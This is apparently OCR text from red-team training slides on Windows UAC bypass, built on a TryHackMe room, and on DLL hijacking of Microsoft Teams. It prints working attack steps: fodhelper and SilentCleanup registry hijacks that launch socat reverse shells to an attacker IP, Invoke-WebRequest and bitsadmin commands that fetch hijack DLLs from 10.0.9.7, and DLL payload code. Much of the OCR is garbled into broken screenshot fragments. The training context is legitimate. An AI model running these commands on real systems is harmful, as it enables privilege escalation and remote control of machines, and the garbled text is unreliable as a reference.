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Day Four: Sharping axes



BLEACH.local : PRIVILEGE ESCALATION :

THM BYPASS UAC
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https://tryhackme.com/room/bypassingquac

BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

Ofrecemos sueldo competltuvo

Genial, ;De cuanto es?

—. . p - . »/ 3 = /i
\ i)
L No se preocupe por eso, es competmvo
i“ nn s De cualquier forma, ; Qué habilidades t|ene"

MY LINUX PAETITION
-
I FIXED YOUR DISK™
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

Command Prompt

Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\attacker>,

Medium IL

Open file location

® Run as administrator

Administrator: Command Prompt

By f Stk Microsoft Windows [Version 10.0.17763.1821]

Pin to taskbar (c) 2018 Microsoft Corporation. All rights reserved.

High IL

C:\Windows\system32>_

https://tryhackme.com/room/bypassinguac
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

en file location

“» UAC: Allow app?

Pin to Start

Application's
Manifest

\‘ Command Prompt
Pin to taskbar o —

e e Ao 6 consent.exe
v, Service '

User - Application executed
consented? as elevated process

e ShellExecute("runas”, "cmd.exe")

Appllcatlon not

executed

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH. local :
THM BYPASS UAC - azman.msc

Case study: azman.msc

As with msconfig, azman.msc will auto elevate without requiring user interaction. If we can find a way to spawn a
shell from within that process, we will bypass UAC. Note that, unlike msconfig, azman.msc has no intended built-in
way to spawn a shell. We can easily overcome this with a bit of creativity.

First, let's run azman.msc

ram, folder, document, or Internet
| open it for you

Open: [ azman.msc

We can confirm that a process with high IL was spawned by using Process Hacker. Notice that all .msc files are run
from mmc.exe (Microsoft Management sole):

Dl explorer.exe 5076 3783 MB MYSERVER\attacker Windows Explorer Medium
Process Hacker

To run a shell, we will abuse the application's help:

&3 Authorization Manager

B3 File Action View Window Help

P Y lE Help Topics

TechCenter Web Site

https://www.youtube.com/watch?v=ybDLmuWDY-M

https://tryhackme.com/room/bypassingquac

PRIVILEGE ESCALATION :

Type the name of a program, folder, document, or Internet
=/ resource, and Windows will open it for you

https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATI

‘e can confirm that a process with high IL was spawned by using Process Hacker. Notice that all .msc files are run | & o
Hide Prnt  Options
rom mmc.exe (Microsoft Management Console): MMC
Contents Search Favortes
explorer.exe 5076  37.83MB MVSERVER\attacker Windows Explorer Medium Fe S " O S MU S (NS

ProcessHacker.exe 3832 11.86MB _MVSERVER\attacker Process Hacker High 52aa7b28-4ccb-498a-a53b-e65dc0bf4bo4[1] - Notepad
[@mmcee 5456 52 MB_MYSERVER\attacker icrosoft Management Cons. H;h S @ it Foma View Hep
. X : html xmlns="http://www.w3. 1999/xhtml"><head><meta http-equiv="C
o run a shell, we will abuse the application's help: k WA D3/ /vt N3 0FR/1399/xhtm SR et eeep=Lo
Access-help-for-Microsoft-operating-systems”>
</a></div><p>Need help? All help for Windows 10 and Windows Server pr

{T3 Authorization Manager

&3 File Action View Window Help

P 3| H° Help Topics o
3 Authorization Manager TechCenter Web Site
8 About Microsoft Management Console.
About Authorization Manager..
The Authorization Manager snap-in allows you to set role-based pe:

been Authorization Manager enabled. To use the Authorization Man
authorization store (if you are an application developer) or open an

Pn the help screen, we will right-click any part of the help article and select View Source:

® MMC

| & O

Hde Prnt  Options =
MMC

Contents Search Favortes

2] mmc Access help for Microsoft operating systems

Cruusage T

Need help? All help for Windows 10 and Windows Server produc| Windows (CRLF) Ln 1, Col

If you're looking for general help with Windows, the main Wind:

Are you an administra Back ? Find content
developers, and more

Forward
Do you manage serve rer products arf
Server. Select All

View Source

Print...
Refresh

Properties

https://www.youtube.com/watch?v=ybDLmuWDY-M tps://qithub.com/Telefonica/uac-a-mol
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BLEACH.local : PRIVILEGE ESCALATI

‘e can confirm that a process with high IL was spawned by using Process Hacker. Notice that all .msc files are run | & o
Hide Prnt  Options
rom mmc.exe (Microsoft Management Console):
Contents Search Favorites
explorer.exe 5076  37.83MB MVSERVER\attacker Windows Explorer Medium Fmc

ProcessHacker.exe 3832 11.86MB_MVYSERVER\attacker __Process Hacker High \ 522a7b28-4cch-498a-253b-e65dc0bf4b34[1] - Notepad
[ mme.exe 5456 652MB_MVYSERVER\aftacker crosoft Management Cons. H.:h @ it fomst View Hep

|<html xmlns="http://www.w3.0rg/1999/xhtml" ><head><meta http-equiv="Co
"Access-help-for-Microsoft-operating-systems"”>
</a></div><p>Need help? All help for Windows 10 and Windows Server pr

o run a shell, we will abuse the application's help:

{T3 Authorization Manager

&3 File Action View Window Help
b = i | @ Help Topics o
{23 Authorization Manager bicsin csbmndbiicadineed

Q About Microsoft Management Console.
About Authorization Manager..

Edit "
<html xmlns="ht{
"Access-help-fot

R Windows > System32
L </a></div><p>Ne¢

The Authonzation Manager snap-in allows you to set role-based pes

been Authorization Manager enabled. To use the Authorization Man| Organize v New folder

authorization store (if you are an application developer) or open an

~ e

Dn the help screen, we will right-click any part of the help article and select View Source: B thixkacce=s emcfg32.dil

B Desktop & and

[ MMC Documents cmdext.dil

o] & or & Downloads cmdial32.dil

Hde Pint  Options B Pictures p [#) cmdkey ® Run a5 administrator

[mmc B cmdiz2 Pin to Start

Contents  Search Favortes B This PC
IS

*| emgrespps.dil Restore previous versions
- 30 Objects 1 cmifw.dll
Need help? All help for Windows 10 and Windows Server produc| B Desktop § cmi dil

B mmc Access help for Microsoft operating systems
Send to

If you're looking for general help with Windows, the main Windof cmiua.dil

resource

& Downloads s cmmon32
Are you an administra Back ? Find content 1 rmnkl 22 dll
developers, and more

Forward
Do you manage serve rer products arf
Server. Select Al

View Source

Print...
Refresh

Properties
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC : msfconfig

e ° Command Prompt

C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe

<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevates>true</autoElevate>
</asmv3:windowsSettings>

</asmv3:application>

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC : msfconfig

= Type the name of a program, folder, document, or Internet
= SOurc Wi

and Windows will open it for you.

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC : msfconfig

& System Configuration

ystem Configuration General Boot  Services Startup
" Tool Name

Typethenameof 3| General Boot Services Startup Tools =
2 - tem Properties
resource, and Wind .

w and configure network address
the performance of local or rem s
sage of the local computer,

ce drivers and services running on your computer,

jevices and services only
tup

d system services

| Load startup Aems

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH. local :
THM BYPASS X

& System Configuration

General Boot  Services

] =] System Configuration

Tool Name

Typethenameof a| General Boot Services Startup Tools

resource, and

ystem Properties
et Options

Startup selection t Protocol Configurat...

() Normal startup formance Monitor

ce Monitor

Load al device drive:

agnostic startup

Load basic devices and serv

Load startup Aems

https://www.youtube.com/watch?v=ybDLmuWDY-M

formation about your comy
ternet Properties.
figure network addr
of local o ren
and resource

https://tryhackme.com/room/bypassingquac

PRIVILEGE ESCALATION :

& System Configuration
Services

General Boot

Startup Tools o

Tool Name Description
Programs Launch, add or remove programs and Windows components.
System Properties View basic information about your computer system settings.
Internet Options View Internet Properties.
Internet Protocol Configura and configure network address settings.
Performance Monitor Monitor the performance of local or remote computers.
Resource Monitor Monitor the performance and resource usage of the k

about programs and processes running on y

Renistrv Fritor
<

Selected command:

Cancel

[ ]

https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

imgfiip.com

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

set REG_KEY=HKCU\Software\Classes\ms-settings\Shel\Open\command

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

set REG_KEY=HKCU\Software\Classes\ms-settings\Shel\Open\command

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes”

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

set REG_KEY=HKCU\Software\Classes\ms-settings\Shel\Open\command

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes”

reg add %REG_KEY% /v "DelegateExecute” /d "" /f
The operation completed successfully.

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

set REG_KEY=HKCU\Software\Classes\ms-settings\Shel\Open\command

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes”

reg add %REG_KEY% /v "DelegateExecute” /d "" /f
The operation completed successfully.

reg add %REG_KEY% /d %CMD% /f
The operation completed successfully.

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

set REG_KEY=HKCU\Software\Classes\ms-settings\Shel\Open\command

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes”

reg add %REG_KEY% /v "DelegateExecute” /d "" /f
The operation completed successfully.

reg add %REG_KEY% /d %CMD% /f
The operation completed successfully.

fodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE :

THM BYPASS UAC :: foodhelper.exe

" =

Sprogram.=. "powershell.-windowstyle.hidden.C:\tools\socat\socat.exe.TCP:<attacker ip>:4445.EXEC:cmd.exe,pi

\C —-Force
hell\Open\command".-Name." (default)".-Value. $program.-Force

New-Item. "HKCU:\Software\Classes\.pwn\Shel I
Set-ItemProperty. "HKCU:\Software\Classes\.pwn'

rver".-Force
Ver".-Name. " (default)".-value.".pwn".-Force

New-Item.-Path."HKCU:\Software\Classes\ms-s
Set-ItemProperty.."HKCU:\Software\Classes\ms-settings\Cur

Start-Process. "C:\Windows\System32\fodhelper.exe".-WindowStyle. Hidden

(5, )

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :

Scheduled Task + Overwrite env. variable

F THATS 0K
%5 IFYOUCANBLOCK
77" PRIVILEGEESCALATION
" . . ANDLATERAL MOVEMENT
4' -3 )

= PRIVILEGE ESCALATION

7 AND LATERAL MOVEMENT?[PI?

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :

(® Task Scheduler

File Action View Help
7 )i
) Task Scheduler (Local)
@ Task Scheduler Library ¥ 3
- Microsoft [&] SilentCleanup Ready 2/22/2022 11:11:08 AM  The operation completed successfully. (( DiskCleanup
v B Windows Create Basic Task...
. .NET Framewor
| Active Director Import Ta:
1 ApplD Xy .
| Application Exp 7 Display All Runni
| ApplicationDat: Enable All Tasks

Name Status Triggers Next Run Time Last Run Time Last Run Result Actions

Create Task...

| AppxDeployme New Folder.
| Autochk General Triggers Actions Conditions Settings History (disabled) ;

| BitLocker
| Bluetooth Name: r\tCleanup—‘
| Brokerlnfrastruc

| CertificateServic Refresh
7 Chkdsk Author: Microsoft Corporation ﬂ Help

Delete Folder

View
Locatio \Microsoft\Windows\DiskCleanup

Clip Description: | Maintenance task used by the system to launch a silent auto disk cleanup when running low on free
1 CloudExperienc disk space. Selected item

.| Customer Exper
| Data Integrity S
| Defrag

Run
End

| Device Informat Disable
| Device Setup Export...
| Diagnosis 7 o
Security options Properties

DiskCleanup When running the task, use the following user account: Delete
Users Help

| DiskFootprint
EDP

| EnterpriseMgm

| ExploitGuard Do not store password. The task will only have access to local resources

| File Classificatic

| Flighting

| InstallService Vv Hidden Configure for:
< >

Run only when user is logged on

Run whether user is logged on or not

Displays the currently running tasks.

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :

(® Task Scheduler
File Action View Help

| 7@ BiE

() Task Scheduler (Local)
v [ Task Scheduler Library .
» Microsoft SilentCleanup Ready 2/22/2022 11:11:08 AM  The operation completed successfully. (( DiskCleanup
v [l Windows @] Create Basic Task...
. .NET Framewor
| Active Directory Import Task...
ApplD P &
Application Exp i) Display All Runni...
ApplicationDat: &) Enable All Tasks H...
AppxDeployme £

Aitoshk General Triggers Conditions  Settings History (disabled) General Triggers Actions Condmons History (disabled)
= BuLock General Triggers Actions Conditions = Settings
| BitLocker

Status Triggers Next Run Time Last Run Time Last Run Result Actions

t  Create Task...

- When you create a task, you must specify the action that will occur when your task starts. To change these Specify a#dntmnalsettmgsthat affect the behavior of the task. To change these settings, open the task property
| Bluetooth Name: {SHEV\‘ICKGEHUP actions, open the task property pages using the Properties command. pages using the Properties command.

| Brokerlnfrastruc
| CertificateServic

Chkdsk Author: Microsoft Corporation IStart a program Fewindir%\system32\cleanmagr.exe /autoclean /d %systemdrive%

d Run task as soon as possible after a scheduled start is missed

1 Clip Description: | Maintenance task used by the systerr

CloudExperienc disk space.
. [C)““Tmer E"p:' Attempt to restart up to:
| Data Integrity

Defrag
| Device Informat

Location: \Microsoft\Windows\DiskCleanup Action Details

Allow task to be run on demand |

If the task fails, restart every: 1 minute

Stop the task if it runs longer than: 15 minutes

3 If the running task does not end when requested, force it to stop

| Device Setup

| Diagnosis . ; If the task is not scheduled to run again, delete it after:
D Security options

When running the task, use the following user acc

If the task is already running, then the following rule applies:
Users

DiskFootprint Do not start a new instance
iskFootprin
EDP
EnterpriseMgm
| ExploitGuard Do not store password. The task will only have access to local resources
| File Classificatic Run with highest privileges
| Flighting
1 InstallService Vv Hidden Configure for:  Windows Server
< >

Run only when user is logged on

Run whether user is logged on or not

Displays the currently running tasks.

outube.com/watch? bDLmuWDY-M ttps://github.com/Telefonica/uac-a-mo
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive¥%

https://www.youtube.com/watch?v=ybDLmuWDY-M https://qithub.com/TeIefonica/uaca-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive¥%

%windir% — "cmd.exe /c C:\tools\socat\socat.exe
TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

https://www.youtube.com/watch?v=ybDLmuWDY-M https://qithub.com/TeIefonica/uaca-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive¥%

%windir% — "cmd.exe /c C:\tools\socat\socat.exe
TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445
EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d
%systemdrive’%

i

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PRIVILEGE ESCALATION :
THM BYPASS UAC

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive¥%

%windir% — "cmd.exe /c C:\tools\socat\socat.exe
TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445
EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d
%systemdrive’%

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe
TCP:<attacker ip>:4446 EXEC:cmd.exe,pipes &REM " /f

// ]
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I é‘é

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola
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BLEACH.local : PERSISTENCE : DLL HIJACKING

we need install locations for our software
which is perfect for red teamers to sideload in.

https://cocomelonc.qgithub.io/pentest/2021/09/24/dll-hijacking-1.html



https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
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T

DarkEye

I/A’

Prynt &8

https://cocomelonc.qgithub.io/pentest/2021/09/24/dll-hijacking-1.html



https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
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DLLs already loaded in memory

v

known DLLs

v

Application's directory

v

C:\Windows\System32\

v

C:\Windows\System\

v

C:\Windows\

v

current directory

v

Directories in the system PATH environment variable

v

ories in the user PATH environmen t variable

https://cocomelonc.qgithub.io/pentest/2021/09/24/dll-hijacking-1.html



https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
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Options  Helg

YAO|& F L/ HE

PID Operation Path

B Process Monitor Filter

Display entries matching these conditions:

Architecture v lis Include  ~
Reset

Column Relation . Action
is teams exe Include
s NAMENOTFO... Include
cortains Include
is Exclude

Exclude

Exclude

ProcmonBdere  Exclude

Procexpbdexe  Exclude

System Exclude

egins with IRP_MJ_ Exclude
begins with FASTIO_ Exclude
begins with FASTIO Exciude
ends with pagefile.sys Exclude
ends with Mt Exclude
ends with SMtMi Exciude
ends with sLogFile Exclude

<

The current filter excludes all 358.680 events Backed by virtual memory
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I Process Monitor - Sysinternals: www.s

Filter  Tools  Options

M YAO & # P

Operation
s CreateFie
Fie

s CreateFie
2 s CreateFie

s CreateFie
s CreateFie
s CreateFie
s CreateFie
s CreateFie
2 s CreateFie

¥ CreateFile

CreateFile

s CreateFile

2% Microsoft s CreateFie
¥ CreateFile

¥ CreateFile

= CreateFie

2 Fle
Createﬁ\e

¥ CreateFile
= CreateFie
Fie

¥ CreateFile

¥ CreateFile

Iniciar sesion

ntemals.com

Help

| = Do

C:\Users\querto\AppData\Local\Wicroscft\Teams \curent Ul AutomationCore.
C:\Users\iquerito' roDUa(a \Local \Microsoft' TE»!"Y) \current \dbghelp.dil

Ci\Usersauerto\AppD: !
Microsoft Tem et

C:\Users jquerto\AppData\Local\W
ViopData\Local\Wicrosoft Teams\curent

\ Micrc

T dina il

Path

WINHTTP dil
Secur32dl
\dhcpesve DLL
\PROPSYS di
ore DLL
jquerto\AppData Lm:a\ rent\SSPICLIDLL
Users querto\ippDatal\Local\ Teame\cumnt HSASH 1 di
AppData\Local\Microsoft\Teams\curent\CRYPTBASE DLL
Microsoft\Teams \curent \powrprof di
pData\Local\Microsoft\Teams \curent \UMPDC di
o\AppData\Local\l Teams\curert ods ol
C:\Users\jquerto\AppData\Local
C:\Users\querto\AppData\Local Teams\cuent \profepidl
€AUsen\ouero opDita\Loca ol Team et vesouces
C:\Windows \System32\MSVCP140.dl
C:\Windows \System Shsverrad
C:\Windows\ 14001

0000000

PERSISTENCE

Resut
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi
NAME NOT Fi

\app asar unpacked \node_modules \nat

: DLL HIJACKING

Options  Hi

YA©® 5%\5/0 el

PID Operation Path

then  Include

C:\Usersauerto\App Data'\Local \Wicrosoft\ Teams \current esources \app asar unpacked \node _modues \nat
C:\Users jquerto\AppData\Local \Wicrosoft\Teams\curert \resources\app. asar unpacked \node_modules \naive-
C:\Users auerto\App Data'\Local \Wicrosoft\ Teams \curent esources \app asar unpacked \node _modues \nat
Teams \curent resources \app.asar.unpacked\node_modules\native-.
\VAppData\Local\Microsot\ Teams \curent esources \app. asar unpacked\node_modules \native-

Q Opciones de inicio de sesién
s CreateFie
s CreateFie
CreateFv\e

# CresteFle
6076 ¥ Createie
s CreateFie

et
c Users aueto\opData\Local Wi
s\System32\VCRUNTIME140.dl
ystem\VCRUNTIME140.d1
RUNTIME140.dIl
stem32\WCRUNTIME140.dl
tem\VCRUNTIME140 I
wmm.wcm,nmmmoau
tem32\VCRUNTIME140_1.dl
C ando‘»s \System\VCRUNTIME140_1 dll
C:\Windows\VCRUNTIME140_1.dI
C:\Windows \System32\VCRUNTIME140_1.dll
c 5\System\VCRUNTIME140_1.dl
indows\VCRUNTIME140_1 dI
C:\Users\iquerto\AppData'\Local\Microsoft \ Teams\curent\DPAP! dil
C:\Users\iquerito\AppData'\Local\Microsoft \ Teams\cument \mscms dil
crosoft\Teams \curent \ColorAdapterClert d
Teams\curent\UlAutomaionCore.DLL
C:\Users\jquento \AppData'\Loc Teams'\curent\ dbr;he\
C:\Users\iquerito\AppData'\Local\Microsoft \Teams\current' G

Backed by virtual memory

-
@ 11°C Parc. nublado

Teams \curent resources \app.asar.unpacked\node_modules\native-.

NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT i
NAME NOT F
NAME NOT Fi v

" Build 19041 v release.191206-1406

7 "
~ 66T wwzozs L)

Backed by virtual memory




BLEACH. local

/%
DLL.hijacking.example
author:.@cocomelonc

x/

BOOL.APIENTRY.D11Main (HMODULE. hModule,
switch (ul_reason for call) l
case.DLL PROCESS ATTACH:

MessageBox (
NULL,

MB_OK

)i
break;

case.DLL PROCESS DETACH:
break;

case.DLL THREAD ATTACH:
break;

case.DLL THREAD DETACH:
break;

return. TRUE;

: PERSISTENCE

DWORD. .ul_reason_ for call, &PVOID 1pReserved) . {

DLL HIJACKING



BLEACH. local

/*
DLL.hijacking.example
author:.@cocomelonc

x/

BOOL.APIENTRY.D11Main (HMODULE. hModule,
switch (ul_reason for call) I
case.DLL PROCESS ATTACH:

MessageBox (
NULL,
"Meow-meow

"_n ATl

MB_OK

)i
break;

case.DLL PROCESS DETACH:
break;

case.DLL THREAD ATTACH:
break;

case.DLL THREAD DETACH:
break;

return. TRUE;

’

DWORD

PERSISTENCE : DLL HIJACKING

ul reason_

BOOL.WINAPI.D11lMain

}

if. (dwReason.==.DLL PROCESS ATTACH)
system("calc.exe") ;
ExitProcess(0) ;

}
return. TRUE;

(HANDLE.hD11, . DWORD. dwReason,

{

LPVOID. lpReserved)

{
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DLL.hijacking.example #in ide indows.
author: . @cocomelonc BOOL.WINAPI.Dl11Main. (HANDLE.hD11, . DWORD.dwReason, . LPVOID. 1lpReserved) . {

if. (dwReason.==.DLL PROCESS ATTACH) . {
system("calc.exe") ;
ExitProcess (0) ;

}

BOOL.APIENTRY.D11Main (HMODULE. hModule, . . DWORD. .ul_reason_ return. TRUE;

switch. (ul_reason for call) I }
case.DLL PROCESS ATTACH:
MessageBox ( §
NULL, |
" .

MB_OK
)i
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break; https://qgithub.com/optiv/Freeze

CaZjezif—THREAD—DETACH : https://www.bleepingcomputer.com/news/securit

3 y/bypassing-windows-10-uac-with-mock-folders-

return. TRUE; and-dll-hijacking/
https://posts.specterops.io/lateral-movement-sc

m-and-dll-hijacking-primer-d2f61e8ab992



https://github.com/optiv/Freeze
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
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Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv11l.d11' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1ll"'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.d11' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1ll"'



http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'

BLEACH.local : PERSISTENCE : DLL HIJACKING

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv11l.d11' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1ll"'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.d11' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1ll"'

https: ithub.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND http://10.0.9.7:8084/hv1l.d1ll C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d11l


http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'

BLEACH. local :

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hvil.dll’

Invoke-WebRequest -Uri 'http://10.9.9.7:8084/hv2.d11"'

https:

PERSISTENCE : DLL HIJACKING

-OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d11l"

-OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1l1l"

github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20@and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND http://10.0.9.7:8084/hv11l.dll C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1l1l

< | current

Archivo Inicio

%] Documentos

=) Imagenes

.| Downloads
mplayerc_20081005_wing

D Musica

Sources
@ OneDrive - Personal
[ Este equipo

& Descarges

%] Documentos

Downloads (PRINCIPAL-E

jquerito > AppData > Local

] -crt-time-11-1-0.dll
| api-ms-win-crt-utility-11-1-0.dll

chrome_100_percent.pak
| chrome_200_percent.pak
| concrt140.dil

dcompiler_47.dll

[ ffmpeg.dil
| icudtl.dat
] libEGL.dll
7 libGLESV2.dIl
 LICENSE

p140_codecvt_ids.dll

rces.pak

5:00:5. ETeams exe 5912 s CreateFile C:\Users\jquerito\AppData\Local\Micros


http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'

BLEACH. local

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hvil.dll’

PERSISTENCE

Invoke-WebRequest -Uri 'http://10.9.9.7:8084/hv2.d11"'

https://github.com/swisskyrepo/PayloadsAllTheThings/blob

DLL HIJACKING

-OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1l1l"'

-OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1l1l"

master/Methodology%20@and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND

i Teams exe 5912 % CreateFile

< | current

Archivo Inicio

« rios > jquerito > AppData > Local

Nomb

i-ms-win-crt-time-11-1-0.dll
| api-ms-win-crt-utility-11-1-0.dll
| chrome_100_percent.pak

=| Documentos | chrome_200_percent.pak

| concrt1d0.dil

dcompile

Imagenes
. Downloads 7.l
mplayerc_20081005_wing
D Musica | ffmpeg.dil
] icudtl.dat
| libEGL.dII

GLESv2.dII

Sources

@ OneDrive - Personal

|| LICENSE

[ Este equipo

& Descarges

%] Documentos

.| Downloads (PRINCIPAL-E p140_atomic_wait.dll
vep140_codecvt ids.dll

] resources.pak

Escritorio

& Iméagenes

http://10.0.9.7:8084/hv11.d11 C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.d1l1l

C:\Users\iquerito\AppData'\Local\Microsg

Todo  Aplicaciones  Documentos ~ Web  Mas v B e
| or it |
b % Micosoft Teams Té'?.
i N )
g . ‘

sacinss =]

Microsoft Teams

2 Teclado en pantalla > Aplicacién

e e

2 te-veresitadosved . ..

£ teams -

£ telegramwed » O eoas

£ teieanco > s

& comr e
P teamviewer >
X salir
£ test de velocidad > P
@
£ telcinco diecto > &
9 >

Documentos (14)

Configuracion (34)



http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'
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BOOL WINAPI DllMain (HANDLE hD11l, DWORD
dwReason, LPVOID lpReserved) {
if (dwReason == DLL PROCESS ATTACH) ({
system ("calc.exe");
ExitProcess (0) ;

}

return TRUE;

}

9 Windows Defender Security Center
Virus & threat protection
Unauthorized changes blocked
Controlled Folder Access blocked C:\Program
Fi..\gedit.exe from making changes to the
folder %userprofile%\Documents
10:04a
